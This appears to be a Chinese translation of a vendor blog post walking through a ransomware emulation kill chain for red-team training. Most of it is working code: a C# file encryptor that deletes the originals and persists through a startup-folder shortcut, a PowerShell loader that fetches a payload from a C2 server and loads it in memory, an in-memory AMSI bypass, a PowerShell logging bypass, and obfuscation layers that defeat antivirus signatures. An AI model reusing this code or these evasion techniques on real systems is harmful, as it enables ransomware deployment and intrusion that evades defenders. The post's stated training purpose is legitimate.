【仅用于教学目的】为了改进我们的威胁模拟
概述
勒索软件已成定局,网络安全专业人员需要接受培训,以预防、检测、应对和恢复勒索软件。那么,我们如何以合乎道德且可重复的方式做到这一点呢?
这篇文章将介绍 SpecterInsight 的勒索软件模拟功能的工作原理,并深入了解完整勒索软件部署杀伤链的内部工作原理。
本文使用的工具包括:
-
SpecterInsight - https://practicalsecurityanalytics.com/specterinsight/
杀戮链 - 概述
下图描述了 SpecterInsight 勒索软件仿真 SpecterScript 的工作原理,并概述了每个步骤所使用的技术。从高层次上讲,当操作员要求在目标环境中运行的 Specter 部署勒索软件脚本时,杀伤链就开始了。该脚本要么从 Active Directory 生成目标列表,要么使用操作员提供的目标列表。它会扫描网络以识别可到达的目标。它会从目标列表中删除本地系统,这样您就不会破坏网络中的唯一立足点。
一旦目标列表建立,脚本就会从 C2 服务器提取有效载荷。有效载荷在 C2 服务器上被混淆,并插入 AMSI 旁路以避开 AV 干扰。
然后,脚本尝试使用 WMI、计划任务或 Windows 服务控制管理器在每个可到达目标上远程运行有效负载。
在每个目标上,有效载荷都会到达 C2 服务器并下载内存中的完整有效载荷。勒索软件有效载荷执行后,它会找到所有可能感兴趣的文件并开始使用 AES 256 加密它们。然后它会删除原始文件。此步骤是多线程的,以加快执行速度。
最后,勒索信息应用程序被放到磁盘上并运行,以通知用户他们是勒索软件的受害者。
MITRE 攻击和 CK
此杀伤链中使用了以下 MITRE ATT&CK 技术:
-
T1046 – 网络服务枚举:此技术用于从目标列表中快速识别正在运行的系统,以加快杀伤链。
-
T1018 – 远程系统发现:在使用脚本自动目标模式时,此技术通过查询 Active Directory 中与域连接的计算机名称来识别目标。
-
T1016 – 系统网络配置发现:脚本使用此技术将自身从目标列表中删除。
-
T1027.005 – 从工具中删除混淆文件或信息指示器:此技术用于绕过已安装的 AV 等自动防御措施。
-
T1059.001 – 命令和脚本解释器 PowerShell:在分发勒索软件时使用此技术作为轻量级加载器,下载并执行勒索软件负载。
-
TA1021 – 远程服务:
-
TA1021.006 - 远程服务 Windows 远程管理:这是脚本在每个目标上执行有效负载的一种可能技术。
-
T1053.005 - 计划任务:这是脚本在每个目标上执行有效载荷的一种可能技术。
-
T1543-创建或修改系统进程 Windows 服务:这是脚本在每个目标上执行有效负载的一种可能技术。
-
T1569.002 – 系统服务服务执行:这与之前的技术相关,只是执行组件。
-
T1078 – 有效账户:所有分发技术都需要使用有效账户,无论是域账户还是本地账户。
伦理考量
我们始终关注如何减少软件遭到恶意使用,但勒索软件尤其狡猾。我们希望展示真实的行为,而不是构建可以立即逆转并用于造成破坏的东西。为了减少此功能遭到恶意使用,有效负载使用可逆加密对文件进行加密,并将对称密钥与每个加密文件一起存储,从而使解密和恢复数据变得轻而易举。此外,我们还提供了一个解密器,它可以完全恢复任何系统,并且不需要支付赎金。
即使威胁者获得了我们软件的访问权限,他们也需要推出自己的加密机制,构建自己的加密器,并创建新的勒索消息应用程序,以使此杀伤链适用于任何实际场景……如果您无论如何都必须自己完成所有工作,那么使用该产品的大部分理由就荡然无存了。我们的目标是,威胁者窃取我们的产品,除了从 GitHub 上克隆开源 C2 框架之外,别无他用。
成分
该杀伤链分为四个不同的组件,每个组件都有不同的职责。
-
加密器:此组件是主要的有效负载,负责查找和加密其运行的系统上的文件。这实际上是勒索软件。加密完成后,它会将勒索消息放到磁盘上并运行程序以通知当前用户他们已被黑客入侵。
-
加载器:加载器负责绕过防御,从 C2 服务器下载加密器并运行它。
-
赎金信息/解密器:此组件负责在支付赎金后显示赎金信息并解密文件。
-
部署脚本:该脚本负责识别可到达的目标、下载有效载荷并将有效载荷部署到所有可到达的目标。
加密器
加密器是一个兼容 .NET Framework 2.0 的控制台应用程序,它使用动态生成的对称密钥查找和加密文件,使用 AES 256。它执行勒索软件负载的所有标准行为。它以文件为基础进行操作,并使用多线程来加速加密。合法文件加密后,加密版本将使用自定义文件扩展名保存到磁盘,并删除原始文件。此外,解密密钥与加密文件一起存储,以便轻松恢复原始数据。
我们将把这个程序分解成几个部分并详细研究每个部分。
识别文件
加密器的第一步是识别要加密的文件列表。
我们不想加密每个文件,因为这样会很慢,而且可能会损坏机器,所以我们添加了一组硬编码的文件扩展名作为目标。我希望将来能将其设为可配置选项,但现在这样就够了。
private static readonly string[] Extensions = new string[] { ".doc", ".docx", ".xls", ".xlsx", ".xlsb", ".ppt", ".pptx", ".odt", ".ods", ".odp",
".sql", ".mdb", ".accdb", ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif",
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".zip", ".rar", ".bak", ".iso", ".7z", ".json",
".vmdk", ".vhd", ".vhdx", ".py", ".java", ".cpp", ".h", ".php", ".js", ".cs", ".css", ".md",
".asp", ".aspx", ".ps1", ".vbs", ".bak", ".backup", ".log", ".pdf", ".txt", ".rtf", ".csv"
};
接下来,我们需要找到所有想要加密的文件。不幸的是,.NET 2.0 没有很好的方法来递归搜索文件。它提供了一种看起来很有前途的方法,称为Directory.GetFiles,该方法接受路径、模式过滤器以及仅搜索顶级目录或所有目录的选项。此方法不起作用的原因是,如果在搜索过程中任何时候引发异常,它就会中断。例如,如果有人将目录的权限更改为仅允许自己读取,则此搜索将引发异常。此外,此方法仅接受一个过滤模式,而我想要匹配数十种不同的扩展名。模式语言不支持 OR 操作,因此我必须提取所有具有扩展名的文件并手动过滤它们。这不是一个大问题,但这是一个值得考虑的问题。
因此,我们必须编写自己的方法以递归方式搜索文件并忽略任何异常。我首先创建一个不区分大小写的扩展名词典来加速匹配。我使用队列来存储我需要搜索的目录并将顶级目录添加到其中。我循环直到队列为空并一次拉取一个目录。我首先将子目录添加到队列。然后,对于当前目录中具有扩展名的每个文件,我检查扩展名是否在目标列表中。如果是,那么我将该文件添加到结果中。
public static void FindFiles(string path, IEnumerable<string> extensions, List<string> files) {
Queue<string> directories = new Queue<string>();
//Build a case-insensitive lookup table of file extensions
Dictionary<string, string> table = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase);
foreach(string extension in extensions) {
if (!table.ContainsKey(extension)) {
table.Add(extension, extension);
}
}
directories.Enqueue(path);
while(directories.Count > 0) {
string currentDirectory = directories.Dequeue();
//Queue sub-directories, ignore errors
try {
foreach(string directory in Directory.GetDirectories(currentDirectory)) {
directories.Enqueue(directory);
}
} catch { }
//Search files, ignore errors
try {
foreach (string file in Directory.GetFiles(currentDirectory, "*.*", SearchOption.TopDirectoryOnly)) {
string extension = Path.GetExtension(file);
if(table.ContainsKey(extension)) {
files.Add(file);
}
}
} catch { }
}
}
加密方法
在加密任何内容之前,我需要实例化一个对称加密算法。.NET Framework 有 AES-256 类,但有两个版本:(1) Rijndael 和 (2) Aes。Rijndael 是 .NET 2.0 中的 OG 方法,但在未来的版本中已被弃用,并且如果不安装 .NET 2.0,它将无法运行。我无法保证 .NET 2.0 会在每个系统上都存在,所以我必须为这两种情况做好计划。Aes 类直到 .NET 3.5 才发布。为了支持所有可能的平台 2.0 及更高版本,我利用反射首先检查较新的类是否存在,然后再检查较旧的类。然后我通过调用不带参数的静态 Create 方法来实例化该类。
private static SymmetricAlgorithm GetSymmetricAlgorithm() {
Type type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Aes");
if(type == null) {
type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Rijndael");
}
if(type == null) {
throw new InvalidOperationException();
}
MethodInfo create = type.GetMethod("Create", new Type[0], new ParameterModifier[0]);
if(create == null) {
throw new InvalidOperationException();
}
SymmetricAlgorithm algorithm= (SymmetricAlgorithm)create.Invoke(null, new object[0]);
return algorithm;
}
为了同步加密线程,我创建了一个简单的并发队列,以允许工作线程提取新文件进行加密,而无需重复工作或互相干扰。它不需要支持入队方法,所以我没有实现它。代码越少越好。
internal class ConcurrentQueue {
public ConcurrentQueue(string[] items) {
this._items = items;
}
public bool TryDequeue(out string item) {
int index = Interlocked.Increment(ref this._index);
if(index >= this._items.Length) {
item = null;
return false;
}
item = this._items[index];
return true;
}
private string[] _items;
private int _index = -1;
}
internal class ThreadedInput {
public byte[] Key { get; }
public byte[] IV { get; }
public ConcurrentQueue Queue { get; }
public string Extension { get; }
public ThreadedInput(byte[] key, byte[] iV, ConcurrentQueue queue, string extension) {
this.Key = key;
this.IV = iV;
this.Queue = queue;
this.Extension = extension;
}
}
接下来,我实现了一种并发方法来处理存储在线程安全队列中的文件。当队列不为空时,当前线程会拉取一个新文件,对其进行加密,并尝试删除原始文件。
private static void Run(ThreadedInput input) {
using (SymmetricAlgorithm aes = Program.GetSymmetricAlgorithm()) {
aes.Key = input.Key;
aes.IV = input.IV;
using (ICryptoTransform encryptor = aes.CreateEncryptor()) {
while (input.Queue.TryDequeue(out string path)) {
try {
byte[] plaintext = File.ReadAllBytes(path);
byte[] ciphertext = Program.Encrypt(encryptor, plaintext, input.Key, input.IV);
string outpath = path + input.Extension;
File.WriteAllBytes(outpath, ciphertext);
File.Delete(path);
} catch { }
}
}
}
}
实际的加密机制非常简单。它创建一个 MemoryStream 并将密钥和初始化向量以未加密的形式写入流中。然后,它在文件内容上运行 ICryptoTransform 并将其附加到 MemoryStream。这会产生一个包含密钥、IV 和加密文件的字节数组。
private static byte[] Encrypt(ICryptoTransform encryptor, byte[] plaintext, byte[] key, byte[] iv) {
//Create the streams used for encryption
using (MemoryStream ms = new MemoryStream()) {
//Store the key + iv for easy decryption without paying ransom
ms.Write(key, 0, key.Length);
ms.Write(iv, 0, iv.Length);
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) {
//Write the bytes to the crypto stream
cs.Write(plaintext, 0, plaintext.Length);
cs.FlushFinalBlock();
}
//Return the encrypted bytes from the memory stream
return ms.ToArray();
}
}
显示赎金信息
加密完成后,程序会将勒索消息二进制文件放到磁盘上,并在所有用户的启动目录中创建一个 LNK 文件,以便任何人登录时运行勒索消息程序。最后,它会重新启动计算机以断开所有用户的连接并强迫他们重新登录。
我可以使用很多方法来嵌入勒索信息。我选择使用 GZip 压缩二进制文件,对其进行 Base64 编码,然后将其嵌入为字符串。我选择此选项的原因是 (1) 使用 GZip 减小其大小,以及 (2) 我使用的混淆方法适用于 C# 源代码,当标记较少时,它的性能会更好。从文件大小的角度来看,嵌入字节数组会更有效率,但当我们稍后混淆源代码时,创建 30k 个标记会产生更大的影响。
右侧的方法解码并解压缩存储在字符串 Program.Message 中的勒索消息二进制文件。为简洁起见,这里不包括 Base64 字符串。
提取程序后,可以使用 File.WriteAllBytes 将其写入文件。目前,我们只需将其放入 C:ProgramData。
private static byte[] GetMessagePayload() {
byte[] contents = Convert.FromBase64String(Program.Message);
using (MemoryStream ms = new MemoryStream(contents)) {
using (GZipStream gzs = new GZipStream(ms, CompressionMode.Decompress)) {
using (MemoryStream oms = new MemoryStream()) {
byte[] buffer = new byte[1024];
int bytesRead = 0;
while ((bytesRead = gzs.Read(buffer, 0, buffer.Length)) > 0) {
oms.Write(buffer, 0, bytesRead);
}
return oms.ToArray();
}
}
}
}
一旦勒索信息被存入磁盘,我们就需要让它持久化,这样它就可以在任何用户登录时运行。这里有一些我们可以选择的选项。最终,我选择了全局启动目录中的一个简单的 LNK 文件。我将总结其他选项以及我不选择它们的原因:
-
计划任务: 似乎可以计划在“经过身份验证的用户”下运行的任务,以便任何用户(本地或域)在登录时触发该任务,但 schtasks.exe 似乎不支持该功能。使用 API 可能可以实现,但我不想添加更多代码或依赖项。我希望使有效负载尽可能简单和紧凑。
-
运行密钥: 可以访问每个用户的注册表配置单元并插入条目来运行赎金消息,但这对新用户或在当前系统上没有配置文件的域用户不起作用。
-
在 NT AUTHORITYSYSTEM 下运行的任何机制: 可以从以 SYSTEM 身份运行的进程在登录用户的 Windows Station 下运行进程,但我必须添加一堆 PInvoke 代码才能做到这一点。此外,我还必须添加等待用户登录然后触发赎金消息的代码。这比它值得的要多得多,而且它增加了很多代码和一些复杂性。
-
组策略: 您可以使用组策略对象配置几乎任何类型的持久性。它还可以解决将持久性技术应用于新用户登录的问题,例如上面提到的 Run Key 方法,但 Windows Home 版本不支持此 GPO。我想最大限度地提高兼容性,所以我没有选择这种方法。
然后我想起了全局启动目录。此方法可确保我们的勒索消息有效负载将在任何用户登录时运行,即使用户之前没有配置文件。不幸的是,此方法还会尝试运行必须位于与勒索消息可执行文件相同的目录中的 .config 文件,然后会向用户生成一个烦人的弹出窗口,该弹出窗口将显示在勒索消息前面。因此,我需要将勒索消息可执行文件放在单独的目录中,并将 LNK 文件放在启动目录中。幸运的是,定义用于创建 LNK 文件的 COM 对象接口也很容易,因此我不必添加一堆代码,也没有其他依赖项。
为了实现这种持久性技术,我在 Utility 类中添加了一个方法,用于创建指向磁盘上可执行文件的基本快捷方式。然后,我根据 Microsoft文档为 IShellLink 接口添加了定义。GUID 是从此页面获取的。
有了类型定义,我们就可以简单地实例化 ShellLink 对象并将其类型转换为 IShellLink 接口。现在我们可以调用该接口中的任何方法,即 SetPath 和 SetDescription。
最后,我们将链接对象类型转换为 IPersistFile 接口(该接口已在 mscorlib 中定义),以调用 Save 方法。该调用将生成一个格式正确的 LNK 文件,指向我们想要的任何路径。
public static class Utility {
public static void CreateShortcut(string path, string target) {
IShellLink link = (IShellLink)new ShellLink();
//Setup shortcut information
link.SetDescription("Decryptor");
link.SetPath(target);
//Save it
IPersistFile file = (IPersistFile)link;
file.Save(path, false);
}
[ComImport]
[Guid("00021401-0000-0000-C000-000000000046")]
internal class ShellLink {
}
[ComImport]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("000214F9-0000-0000-C000-000000000046")]
internal interface IShellLink {
void GetPath([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszFile, int cchMaxPath, out IntPtr pfd, int fFlags);
void GetIDList(out IntPtr ppidl);
void SetIDList(IntPtr pidl);
void GetDescription([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszName, int cchMaxName);
void SetDescription([MarshalAs(UnmanagedType.LPWStr)] string pszName);
void GetWorkingDirectory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszDir, int cchMaxPath);
void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr)] string pszDir);
void GetArguments([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszArgs, int cchMaxPath);
void SetArguments([MarshalAs(UnmanagedType.LPWStr)] string pszArgs);
void GetHotkey(out short pwHotkey);
void SetHotkey(short wHotkey);
void GetShowCmd(out int piShowCmd);
void SetShowCmd(int iShowCmd);
void GetIconLocation([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszIconPath, int cchIconPath, out int piIcon);
void SetIconLocation([MarshalAs(UnmanagedType.LPWStr)] string pszIconPath, int iIcon);
void SetRelativePath([MarshalAs(UnmanagedType.LPWStr)] string pszPathRel, int dwReserved);
void Resolve(IntPtr hwnd, int fFlags);
void SetPath([MarshalAs(UnmanagedType.LPWStr)] string pszFile);
}
}
装载机
加载器是一个 PowerShell 脚本,它将从 Specter 部署到目标环境中的每个系统上运行。脚本本身包含防御规避技术,可以安全地加载加密器。然后,它会下载加密器并反射加载模块。然后,它会调用主方法来启动有效载荷。未混淆的脚本如下所示:
脚本的第一个片段动态编译了一个小型 C# 类,如果服务器使用自签名证书,则该类将禁用 SSL/TLS 证书验证。
Add-Type @"
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public static class CertificateValidator {
private static bool OnValidateCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
return true;
}
public static void OverrideValidation() {
ServicePointManager.ServerCertificateValidationCallback = CertificateValidator.OnValidateCertificate;
}
}
"@
[CertificateValidator]::OverrideValidation();
下一个代码片段下载经过混淆的勒索软件有效负载,该负载是与 .NET 2.0 兼容的可执行文件。如果下载失败或未下载任何内容,则脚本退出。
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData("https://192.168.1.101/static/remote/documents?kind=26");
if($contents -eq $null) {
exit;
}
最后一段代码反射性地从我们在上一步下载的字节数组中加载 .NET 可执行文件作为模块。然后它使用一个空的字符串数组调用入口点方法。
$module = [System.Reflection.Assembly]::Load($contents);
$parameters = [object[]]@(,[string[]]@());
$module.EntryPoint.Invoke($null, $parameters);
防御规避
防御规避对于可重复的杀伤链来说绝对至关重要。如果我们编写一个单一的静态有效载荷,我们可能可以让它对抗各种 AV,但该有效载荷很快就会被签名并变得无法使用。那么,我们如何将防御规避集成到有效载荷生成管道中?我们可以利用 SpectersInsight 混淆管道,这样每次我们采用这种技术时,我们都会有一个全新的、未签名的有效载荷,并且成功规避的概率很高。
我们还需要绕过反恶意软件扫描接口 (AMSI) 等防御措施来减轻 AV 干扰。这是通过使用 API 调用挂钩来禁用 AMSI.dll 的 AmsiScanBuffer 方法来实现的。
PowerShell 混淆
SpecterInsight 提供了混淆图功能,可以将不同的 PowerShell 代码转换应用于 PowerShell 脚本,以便在每次执行混淆图时生成唯一的有效负载。下图概述了为勒索软件模拟管道构建的混淆图:
这是我们为勒索软件加载器脚本利用的主要 PowerShell 混淆管道。右侧的代码是实际实现。此方法采用 PowerShell 脚本并应用混淆图,其中图中的每个节点都是一种混淆技术。
我们将详细研究每个节点。
public string ApplyPowerShellObfuscation(string original) {
InvokeMemberExpressionAstTransform memberExpressions = new InvokeMemberExpressionAstTransform();
memberExpressions.Filters = new string[] { "^.*specter.*$", "^.*AmsiUtils.*$", "^.*System.Runtime.InteropServices.Marshal.*$" };
AmsiBypassPatchInMemory amsi = new AmsiBypassPatchInMemory();
LoggingBypassCachedPolicy logging = new LoggingBypassCachedPolicy();
CombineMultiTransform combine = new CombineMultiTransform();
RemoveCommentsTokenTransform comments = new RemoveCommentsTokenTransform();
VariableNameTransform variables = new VariableNameTransform();
StringTransform strings = this.GetRandomStringTransform();
string modified = memberExpressions.Evaluate(original);
string bypass = amsi.Evaluate();
string logbypass = logging.Evaluate();
string current = combine.Evaluate(bypass, logbypass, modified);
current = comments.Evaluate(current);
current = variables.Evaluate(current);
current = strings.Evaluate(current);
return current;
}
第一层混淆成员表达式。许多 AV 签名会查找对特定类型(例如 System.Management.Automation.AmsiUtils)的引用。这是一个内部类,恶意软件通常会引用它来绕过 AMSI。由于它是一个内部类,因此几乎没有理由引用该类,因此它是一个很好的字符串来创建检测规则。InvokeMemberExlressionAstTransform 使用字符串将显式类型引用转换为反射引用。我们稍后会在后续层中使用 StringTransform 类混淆此字符串。
原来的
[SpecterInsight.Agent]::Initialize()
模糊化的
[System.Reflection.Assembly]::GetAssembly('SpecterInsight.Agent').GetType('SpecterInsight.Agent').GetMethod('Initialize').Invoke($null, $null)
AmsiBypassPatchInMemory 层在脚本开头产生 AMSI 绕过。绕过的工作原理是使用动态生成的 .NET 代码覆盖内存中 Amsi.dll::AmsiScanBuffer 函数的内容。此代码显示在右侧。我们在混淆堆栈的早期插入绕过,以便后续层减轻此绕过技术的 AV 签名。
此代码仅与 PowerShell 版本 3.0 或更高版本相关,因为早期版本中不存在 AMSI。通常,PowerShell 无法直接访问低级 Win32 API 调用,因此此代码的大部分内容都集中在获取目录调用三种 Win32 API 方法的方法:(1) GetModuleHandle、(2) GetProcAddress 和 (3) VirtualProtect。
第一块代码动态生成一个 .NET 类,该类公开 P/Invoke 方法来访问 VirtualProtect。
下一个块使用反射来查找 Microsoft.Win32.UnsafeNativeMethods 类,该类已经包含我们需要的另外两个方法。然后它获取 GetModuleHandle 和 GetProcAddress 的 MethodInfo 对象。请注意,对这些方法的所有引用都是字符串或变量名,我们可以稍后进行混淆。
下一个块查找 AMSI.dll::AmsiScanBuffer 在内存中的位置。此方法允许 PowerShell 将脚本、命令和 .NET 模块提交给已安装的 AV 进行扫描。
使用 AmsiScanBuffer 的地址,最后一个块用一些机器指令覆盖该函数以始终返回 AMSI_RESULT_NOT_DETECTED。
请注意,补丁值本身在这里被手动混淆,以减轻原始补丁值的 AV 签名。
if($PSVersionTable.PSVersion.Major -gt 2) {
$DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
"kernel32.dll",
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::VirtualProtect
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect",
"kernel32.dll",
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll") }
$UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods")
$GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle")
$GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
$Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll")
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$left = "AmsiSc"
$right = "anBuffer"
$address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right)))
$p = 0
[void]$Kernel32::VirtualProtect($address, [UInt32]5, 0x40, [ref]$p)
$offset = [Byte[]](12, 22, 2, 17, 18, 11)
$patch = [Byte[]](196, 109, 2, 24, 146, 206)
for($i = 0; $i -lt $patch.Length; $i++) {
$patch[$i] -= $offset[$i]
}
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6)
}
try {
$key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"
$key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
下一层只是将 AMSI 绕过、日志绕过和勒索软件加载器脚本组合在一起。再下一层会删除注释。我喜欢在 payload 源代码中嵌入注释,主要是因为我以后会忘记它是如何工作的,但我不希望这些注释出现在我的最终 payload 中。微软实际上拥有在恶意脚本中发现的一些 PowerShell 注释的 AV 签名。RemoveCommentsTokenTransform 会清除所有这些。
VariableNameTransform 层的作用正如其名称所示,它会重命名变量。默认变量名生成器基于我为另一个项目所做的一些研究,在该研究中,我抓取了数千个 Github 存储库,以识别所有不包含恶意代码的项目中最常用的变量名。然后,我删除了特殊变量名(例如 $_、$Input、$PSVersionTable 等),以制作最终列表。当应用于输入脚本时,此转换会识别所有非特殊变量,并从上述预生成列表中随机选择一个变量名。
右边的代码演示了这种转换的效果。
原来的
try {
$key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"
$key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
模糊化的
try {
$accesstoken = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"
$dir = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"
$ensure = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"
$packagename = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$packagename[$accesstoken] = @{}
$packagename[$accesstoken].Add("EnableScriptBlockLogging", '0')
$packagename[$dir] = @{}
$packagename[$dir].Add("EnableModuleLogging", '0')
$packagename[$ensure] = @{}
$packagename[$ensure].Add("EnableTranscripting", '0')
} catch { }
StringTransform 层支持多种技术,包括:反转字符串、字符串格式化、字符串连接等。右侧的示例演示了 StringFormatTransform 技术的效果。每次拆分字符串都是随机的,因此每次迭代都会得到具有不同子字符串的不同脚本。
原来的
try {
$key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"
$key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
模糊化的
try {
$key1 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}","HK","EY","_","LOCA","L_MA","CHI","N","E","S","oftw","ar","eP","oli","c","ies","Micr","oso","ft","Win","dow","sPo","werS","hell","Scr","i","ptBl","ockL","ogg","ing")
$key2 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}","HKE","Y_LO","CA","L_","MAC","HI","NE","Sof","twar","eP","ol","icie","s","Mi","cros","o","ft","Wi","nd","o","ws","P","owe","r","She","ll","Mo","dul","eL","oggi","ng")
$key3 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}{31}{32}{33}{34}{35}{36}","HKEY","_LO","CA","L_MA","C","HINE","","S","OFT","W","A","RE","Wow6","43","2No","deP","o","lici","es","Mi","cro","so","ft","W","in","do","ws","Pow","er","She","l","l","T","rans","cr","ip","tion")
$settings = [Ref].Assembly.GetType(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}","Syst","em.M","a","na","ge","ment",".Aut","om","at","ion",".Ut","ils"))).GetField(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}","cac","hed","Gro","upP","ol","ic","yS","etti","n","gs")),([string]::format("{0}{1}{2}{3}{4}","Non","Pub","li","c,St","atic"))).GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}","Enab","leSc","rip","t","Bloc","kL","oggi","n","g")), '0')
$settings[$key2] = @{}
$settings[$key2].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}","En","a","b","leM","odu","leL","oggi","ng")), '0')
$settings[$key3] = @{}
$settings[$key3].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}","Ena","bleT","ran","s","cr","ipt","ing")), '0')
} catch { }
这涵盖了嵌入到 PowerShell 负载中的防御规避技术。这些技术共同构建了一个勒索软件加载器,其中嵌入了 AMSI 绕过和日志绕过,由于应用了混淆管道,该加载器可以抵抗 AV 检测和签名。最终,每次生成新的负载时,您都会获得一个唯一的脚本。
C# 混淆
我们对用 C# 编写的加密器应用了类似的混淆过程。SpecterInsight 使用 Roslyn 解析器和重写器库提供内置的 C# 混淆功能。
这是用于生成加密器本身的主要混淆堆栈。该方法接收 C# 程序的源代码并应用一系列不同的 C# 混淆方法。
我们将详细讨论每一个。
public string ApplyCSharpObfuscation(string code) {
//Source code obfuscation graph
CSharpAstTransform[] transforms = new CSharpAstTransform[] {
new CSharpAmsiBypassHooking(),
new CSharpStringVaultTransform() {
Technique = CSharpStringVaultTransformTechnique.Random
},
new CSharpClassMemberShufflerTransform(),
new CSharpVariableNameTransform(),
new CSharpMethodNameTransform(),
new CSharpClassNameTransform(),
new CSharpNamespaceNameTransform()
};
return this.ApplyCSharpObfuscation(code, transforms);
}
